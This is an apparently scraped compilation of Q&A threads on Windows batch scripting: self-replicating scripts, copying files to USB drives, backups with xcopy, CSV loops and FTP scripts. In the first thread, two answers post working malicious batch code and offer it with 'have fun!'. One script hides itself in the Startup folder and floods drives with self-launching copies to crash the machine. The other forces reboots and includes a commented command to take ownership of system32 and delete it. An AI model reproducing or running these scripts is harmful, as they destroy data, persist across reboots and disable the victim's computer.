Very basic batch self-replicating code: how dangerous? - batch-file

After reading a bit too much about von Neumann self-replicating machines, I decided to tinker a bit with batch, trying to make a simple file that would make a copy of itself upon running.
I ended up with this:
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%E.bat
The file is saved as WEE.bat and each run of the latest iteration makes a copy with an additional E.
It is very simple to add a simple line to automaticaly run the latest iteration, and at this point I actually have no idea what happens: Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?

Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
No. If you instruct your computer to do something useless or detrimental it will do so. The only limiting factor here is that with echo enabled, every line of execution must be spewed to the console window, so it's not going to be terribly fast. You'll have a chance to kill it with Ctrl-C, but its going to create thousands of files until the file name is too long to invoke, at which point it will fail. Most hard drives have orders of magnitude more space on them than your script could possibly fill-up.
If you want to experiment, see timeout /?. Add a timeout of five or ten seconds for each run of the script and you can see the number of files increasing in whatever directory you run the batch file in.
EDIT:
It appears the limiting factor here is the file path/name length at 270 characters.
>type D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd 1>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The filename, directory name, or volume label syntax is incorrect.
>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The parameter is incorrect.

I improved the script.
It works
#echo off
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%a.bat
%self%a.bat

#echo off
move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
:1
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
copy WEE.bat C:\%random%xd%random%lol /y
copy WEE.bat D:\%random%xd%random%lol /y
copy WEE.bat C:\lol%random%xd%random% /y
copy WEE.bat D:\lol%random%xd%random% /y
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
open C:\%random%xd%random%lol\WEE.bat
open D:\%random%xd%random%lol\WEE.bat
open C:\lol%random%xd%random%\WEE.bat
open D:\lol%random%xd%random%\WEE.bat
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
goto :1
they will replicate and open itself and each other a lot even on device startup (although there is a way to get around that). the device should crash pretty quickly.

I work with those kinds of viruses all the time! it's really easy tho.
#echo off
color 02
title virus
cls
set self=%~n0
::thx for the code bro!
:loop
copy "%cd%\%self%.*" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\%self%%random%%random%.bat"
::this will copy it to the startup directory so it will open it when you start up
::virus code here. (like delete system32)
::here's the code for that:
::takeown /f "%windir%\system32" & del /Q /F /S "%windir%\system32"
shutdown /f /r /t 0
exit
well, thats the virus ^
have fun!
(the delete system32 code is optional, you can remove the "::" to activate the code)

Related

How to setup %UserProfile% in address correctly

If I have call C:\Users\user\Desktop\Main\folder\edit.bat
What is the right way to set this up this:
I want to eliminate C:\Users\user\Desktop, and make my batch universal so that I can plug in to any computer, run it from a usb, or external or simply add my batch to the desktop of anyone's computer. And run it without having to edit source or target again.
If I want it to run my edit.bat from any computer do I set it up like this
call %SystemRoot%\Main\folder\edit.bat
or
call %UserProfile%\Desktop\Main\folder\edit.bat
or
call %UserProfile%\Main\folder\edit.bat
If I understand Mofi right I can change this
call "C:\Users\user\Desktop\Main\folder\edit.bat" Original
to this
call "C:\users\%username%\Desktop\Main\folder\edit.bat" Works
and to this
call "%UserProfile%\Desktop\Main\folder\edit.bat" Works
Can anyone tell me if this is the correct
call "%~dp0\edit.bat"
If I am understanding your question correctly you want to have the .bat on the USB, plug it in, run it, and copy the files from a directory to the USB. In that case the simple script below will work. Assuming the path you choose on the client is static and does not vary, e.g. %userprofile%\desktop\ or %userprofile%\documents\.
#echo off
REM This .bat file will be on the USB drive.
set "usb=%~dp0"
set "new_path=%usb%%computername%\%username%"
if not exist "%new_path%" mkdir "%new_path%"
xcopy "%userprofile%\main\folder\files\*" "%new_path%\" /Y
if errorlevel 1 (
echo ERROR OCCURRED - %ERRORLEVEL%
pause
exit /b
)
echo Successfully copied files to "%new_path%"
timeout /t 3
exit /b
EXPLANATION
First we make a directory on the flash drive, if it doesn't already exist, so all the files are neat and organized on the USB.
if not exist checks for the directory. mkdir creates the destination directory. Pretty obvious but none-the-less.
%~dp0 defines the working directory where the .bat file is located. For more information Here is a great post.
%userprofile% environment variable is by default equal to the directory C:\users\%username%\, and %computername% expands to the computer's name.
xcopy takes the source directory and copies to our destination we created prior. /Y forces the copy and does not prompt to overwrite files.
* is a wildcard. Here is a good site for that and also everything in this script. Note that a wildcard can only be used at the end of a directory. Something like C:\users\*\desktop\*\files\* will not resolve. For something like that you would need to use for /D.
Lastly I always like to check for errors, and see if it was successful. If not we pause to make sure we see the error, or we put in a timeout /t seconds to see a success.
EDIT
Set variables for paths to account for spaces in user names, and also fixed a couple other errors in the original script that were brought to my attention.
If you want to open a file in your portable drive you can do something like this
%~d0\folder\folder\file

How can you use Windows CMD to save a copy of a file name to a blank text document?

I've been experimenting with Xcopy on my flash drive, which as the reader most likely knows, is a way to transfer multiple file copies very efficiently. During my experimentation, i had a thought. The code i ran(which will be disclosed at the end of the comment) was set to copy files from my desktop, music, photos etc. However, on my desktop was a particularly large file for a game i frequent. When the program got to the games files, it took an extremely long time to copy the files, as the game ran a 3D environment, and i needed this code to run quickly and efficiently. So, my thought was:Is there a way to copy the name of a file(in this case, the name of the game, FTB), have the program copy the name of the file only, then create a text file on the flash drive where the code is being run, then overwrite the name of that document with the copied name?
Here is the code being run, and i am aware that it has some obvious problems, but its being worked on:
#echo off
:: variables/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y /EXCLUDE:MyExcludes.txt
%backupcmd% "%USERPROFILE%\Pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\Videos" "%drive%\all\Vids"
%backupcmd% "%USERPROFILE%\Documents" "%drive%\all\Docs"
%backupcmd% "%USERPROFILE%\OneDrive" "%drive%\all\Onedrive"
%backupcmd% "%USERPROFILE%\Desktop" "%drive%\all\Desktop"
%backupcmd% "%USERPROFILE%\Network" "%drive%\all\Other devices"
copy "Bookmarks.bak" "all"
removedrive D: -L -H -A -W:1000
if you need any extra information, just ask.
add the large file to the myexcludes.txt file so it wont copy
just create a new file on your backup drive using something like the following (assuming your file is called mylargefilesname.ext)
echo mylargefilesname.ext > "%drive%\location\mylargefilesname.ext"
------ edit ------
To do this for all .exe files you can exclude *.exe and then use a loop.
for /f %%f in ('dir /b "%USERPROFILE%\Pictures\*.exe"') do echo %%f > "%drive%\all\My pics\%%~nxf"
this is looping over the results of dir /b "%USERPROFILE%\Pictures\*.exe"
for each line of the output it will echo the full file path to your new folder using the filename + extension of the file (thats what the nx part does)
I know this is resurrecting an old thread, but I've found this code all over the internet (it's been copied a lot) with no clear explanation of the nonsensical %odrive% initialization and the non-initialization of %drive%.
It doesn't work because they left out some code. Here's how to fix it:
Replace:
SET odrive=%odrive:~0,2%
With:
SET odrive=%CD%
SET drive=%odrive:~0,2%
The first line gets the current directory as %odrive% and the second line strips out the first two characters (e.g., C:) and assigns them to %drive%
Note the script assumes it's being run from the removable drive. So you could simply replace all instances of %drive% with . and it would work just as well.

Debugging a batch file

I wrote a batch file that is supposed to iterate through all .csv files in a folder and do the following with each one: MOVE/Rename it to solar.csv in a different folder while overwriting any file with the same name, start some service that utilizes solar.csv, wait 7.5 minutes, stop the service. This should be done for each .csv file in the folder. I would like it to report each step as it does it as well. Here is my code so far:
#ECHO OFF
CD "D:\PI Data Import\Data"
For /R %%G IN (*.csv) DO (
MOVE /Y %%G.csv "D:\PI Data Import\solar.csv"
ECHO "%%G.csv Moved"
NET START RDBMSPI4
ECHO "Service Started"
ECHO "Waiting"
TIMEOUT /T 450 /NOBREAK
NET STOP RDBMSPI4
Echo "%%G.csv Complete"
)
It reports that my command syntax is not correct, but doesn't say which part exactly. I assume the FOR /R line is a bit wrong, maybe the MOVE command, and possibly how I handle the %%G in the command section.
All I really need is a syntax check, and I am afraid to test this too terribly much before it is golden since the server it will operate on is kind of important. All help appreciated, I'm not at all experienced with working on Batch files.
I'd remove the /R from the for command. Also, don't put .csv after %%g anywhere. They will already have .csv appended as they are .csv files.
You're going to overwrite the solar.csv file, every time you move a CSV file BTW. If you wish the CSV files to be appended to solar.csv, then you may have to type them out to that file. E.g.
Before you loop...
if exist solar.csv del solar.csv
And in your loop...
type %%g >> solar.csv
Unless your service is going to process each solar.csv file and then you just overwrite the file with the next one, in which case you're golden :)

Batch file to search through a folder and delete specific files

Firstly, this is the first batch file I've ever written and I really don't know the syntax.
This code should search and delete all the files, except that it doesn't actually delete them, they are still there. If someone could help me out, I would really appreciate it.
My script is as follows:
#echo off
color a
echo.
For /R "E:\" %%G IN (*.onetoc2) do Echo del "%%G"
echo.
timeout 10
You just need to remove the Echo before del "%%G". The Echo is there to show you what will be deleted before you actually do it. Most of the people that answer questions here will add that in as a safeguard.
remove the Echo.
Echo tells the computer to write things to the screen.
It's a good idea to do this for testing.
Once you are satisfied with the output and are sure, that it will do what you want, simply remove the echo
echo format c:
will not format your drive, but simply writes "format C:"
Remove the echo and you are in trouble. (well not really, because modern OS is too smart to do that)

Variables in Batch FTP script

In C you can use %username% as a variable for the current user's name for directory listings and such: c:\documents and settings\%username%\
Is there something like this for a batch script?
Using just %username% doesn't seem to help.
I wrote a script that accesses my FTP server so I can load files to the server.
I want my friends to be able to use this script, but I don't want to have to write several different scripts.
Here is what I have so far:
#echo off
#ftp -s:"%~f0" &GOTO: EOF
open FTP.server.com
user
pass
cd /home/ftp
bin
lcd "c:\documents and settings\%username%\my documents\FTP"
mput *txt
pause
bye
There's gotta be a way
This can be done if you change the batch file so that it creates a script file every time the batch file runs. You can do this by using the echo command to write the script lines to script file, which you can then pass to the ftp command. The reason this works is that echo will expand the %username% variable before writing it to the script file:
#echo off
del script.txt
echo open FTP.server.com>>script.txt
.
[echo rest of script lines to file]
.
echo lcd "c:\documents and settings\%username%\my documents\FTP">>script.txt
echo echo mput *txt>>script.txt
#ftp -s:script.txt
I believe i found a better way, although it's a bit more code.
set "rootdir=%userprofile%\my documents"
set "destdir=c:\
for /f "delims=" %%a in ('dir /b /s "%rootdir%*.txt"') do copy "%%~a" "%destdir%"
And then the usual FTP stuff, including lcd c:\
Ive tested this and it works, although I would like to find a simpler way.
I tried using xcopy but for some reason it doesn't work on my system, the cmd screen just hangs.
Also tried just using copy, but that gave me "can't find file" errors.
Instead of using lcd, a better idea might be to change the working directory in the outer batch file.
#echo off
#pushd "c:\documents and settings\%username%\my documents\FTP"
#ftp -s:"%~f0" &GOTO: EOF
open FTP.server.com
user
pass
cd /home/ftp
bin
mput *txt
#pause
The only problem with this solution, is that the script itself is no longer in the working directory, and so you need to add a path for that. (Or, put it in the FTP folder ;)
Also, minor pedantry, but this is not actually a correct way to find My documents. In particular, on Vista or Windows 7, User profiles are stored in C:\Users. And, it's possible for users to move My Documents (on my computer, My Documents is located in D:\Mike's Documents)
However, there doesn't appear to be an environment variable that points directly at My Documents, so you will have to make do with this:
"%userprofile%\my documents\FTP"
If the people running this script are running XP and haven't moved their My Documents, then this doesn't really matter.

Resources